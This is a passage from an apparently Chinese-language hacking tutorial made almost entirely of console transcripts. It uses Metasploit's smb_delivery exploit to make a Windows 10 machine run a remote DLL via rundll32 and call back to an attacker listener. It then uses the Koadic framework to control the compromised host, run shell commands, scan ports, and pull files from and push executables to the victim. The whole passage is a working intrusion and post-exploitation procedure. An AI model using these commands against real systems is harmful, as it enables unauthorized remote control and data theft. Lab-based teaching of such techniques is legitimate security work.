msf5 > use exploit/windows/smb/smb_delivery msf5 exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.40 srvhost => 192.168.1.40 msf5 exploit(windows/smb/smb_delivery) > exploit -j -z
[*] Exploit running as background job 0. [*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.40:4444 [*] Started service listener on 192.168.1.40:445 [*] Server started. [*] Run the following command on the target machine: rundll32.exe \\192.168.1.40\aCxwTB\test.dll,0
[+] Zombie 0: Staging new connection (192.168.1.2) [+] Zombie 0: DESKTOP-SKVC\lyshark* @ DESKTOP-SKVC -- Windows 10 Enterprise LTSC 2019 (koadic: sta/js/mshta)# zombies ID IP STATUS LAST SEEN --- --------- ------- ------------ 0* 192.168.1.2 Alive 2019-08-12 20:09:24 Use "zombies ID"for detailed information about a session. Use "zombies IP"for sessions on a particular host. Use "zombies DOMAIN"for sessions on a particular Windows domain. Use "zombies killed"for sessions that have been manually killed.
zombies后方添加编号，可以查看具体主机的详细情况。
(koadic: sta/js/mshta)# zombies 0 ID: 0 Status: Alive First Seen: 2019-08-12 20:08:37 Last Seen: 2019-08-12 20:11:24 Listener: 0 IP: 192.168.1.2 User: DESKTOP-SKVC\lyshark* Hostname: DESKTOP-SKVC Primary DC: Unknown OS: Windows 10 Enterprise LTSC 2019 OSBuild: 17763 OSArch: 64 Elevated: YES! User Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0;) Session Key: 316d78e7a8239880 JOB NAME STATUS ERRNO ---- --------- ------- -------
5.如果需要执行CMD命令可以使用cmd_shell，如下。
(koadic: sta/js/mshta)# cmdshell 0 [koadic: ZOMBIE 0 (192.168.1.2) - C:\Users\lyshark]> ipconfig [*] Zombie 0: Job 0 (implant/manage/exec_cmd) created. Result for `cd C:\Users\lyshark & ipconfig`: Windows IP 配置
(koadic: sta/js/mshta)# use implant/scan/tcp (koadic: imp/sca/tcp)# info NAME VALUE REQ DESCRIPTION ----- ------------ ---- ------------- RHOSTS yes name/IP of the remotes RPORTS 22,80,135,139,44... yes ports to scan TIMEOUT 2 yes longer is more accurate CHECKLIVE trueyes check if host is up before checking ports ZOMBIE ALL yes the zombie to target
(koadic: imp/sca/tcp)# use implant/util/download_file (koadic: imp/uti/download_file)# (koadic: imp/uti/download_file)# info NAME VALUE REQ DESCRIPTION ----- ------------ ---- ------------- LPATH /tmp/ yeslocal file save path RFILE no remote file to get RFILELIST no file containing line-seperated file names to download CHUNKSIZE 10000000 yes size in bytes (kind of) of chunks to save, helps avoid MemoryError exceptions CERTUTIL falseyes use certutil to base64 encode the file before downloading ZOMBIE ALL yes the zombie to target (koadic: imp/uti/download_file)# set zombie 0 [+] ZOMBIE => 0 (koadic: imp/uti/download_file)# set rfile c:\lyshark.exe [+] RFILE => c:\lyshark.exe (koadic: imp/uti/download_file)# run [*] Zombie 0: Job 4 (implant/util/download_file) created. [+] Zombie 0: Job 4 (implant/util/download_file) completed. [+] c:\lyshark.exe saved to /tmp/lyshark.exe (940602 bytes)
8.上传文件则可以使用，implant/util/upload_file 这个模块。
(koadic: imp/uti/download_file)# use implant/util/upload_file (koadic: imp/uti/upload_file)# (koadic: imp/uti/upload_file)# info NAME VALUE REQ DESCRIPTION ----- ------------ ---- ------------- LFILE yeslocal file to upload DIRECTORY %TEMP% no writeable directory ZOMBIE ALL yes the zombie to target (koadic: imp/uti/upload_file)# set zombie 0 [+] ZOMBIE => 0 (koadic: imp/uti/upload_file)# set lfile /tmp/lyshark.exe [+] LFILE => /tmp/lyshark.exe (koadic: imp/uti/upload_file)# run [*] Zombie 0: Job 5 (implant/util/upload_file) created. [+] Zombie 0: Job 5 (implant/util/upload_file) completed.